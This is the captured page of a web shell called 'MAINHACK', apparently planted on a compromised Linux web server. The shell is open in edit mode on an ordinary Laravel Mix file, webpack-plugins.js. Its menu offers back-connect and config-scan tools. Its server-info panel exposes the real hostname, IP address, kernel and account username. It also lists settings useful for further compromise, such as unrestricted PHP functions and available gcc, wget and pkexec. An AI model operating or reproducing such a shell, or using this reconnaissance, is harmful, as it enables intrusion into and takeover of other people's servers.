[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: webpack-plugins.js
let MixDefinitionsPlugin = require('../webpackPlugins/MixDefinitionsPlugin'); let BuildCallbackPlugin = require('../webpackPlugins/BuildCallbackPlugin'); let CustomTasksPlugin = require('../webpackPlugins/CustomTasksPlugin'); let ManifestPlugin = require('../webpackPlugins/ManifestPlugin'); let MockEntryPlugin = require('../webpackPlugins/MockEntryPlugin'); let BuildOutputPlugin = require('../webpackPlugins/BuildOutputPlugin'); let WebpackBar = require('webpackbar'); /** * * @param {import("../Mix")} mix */ module.exports = function (mix) { // TODO: Remove in Mix 7 -- Here for backwards compat if a plugin requires this file mix = mix || global.Mix; let plugins = []; // If the user didn't declare any JS compilation, we still need to // use a temporary script to force a compile. This plugin will // handle the process of deleting the compiled script. if (!mix.bundlingJavaScript) { plugins.push(new MockEntryPlugin(mix)); } // Activate support for Mix_ .env definitions. plugins.push( new MixDefinitionsPlugin(mix.paths.root('.env'), { NODE_ENV: mix.inProduction() ? 'production' : process.env.NODE_ENV || 'development' }) ); // Handle the creation of the mix-manifest.json file. plugins.push(new ManifestPlugin(mix)); // Handle all custom, non-webpack tasks. plugins.push(new CustomTasksPlugin(mix)); // Notify the rest of our app when Webpack has finished its build. plugins.push(new BuildCallbackPlugin(stats => mix.dispatch('build', stats))); // Enable custom output when the Webpack build completes. plugins.push( new BuildOutputPlugin({ clearConsole: mix.config.clearConsole, showRelated: true }) ); if (process.env.NODE_ENV !== 'test') { plugins.push(new WebpackBar({ name: 'Mix' })); } return plugins; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002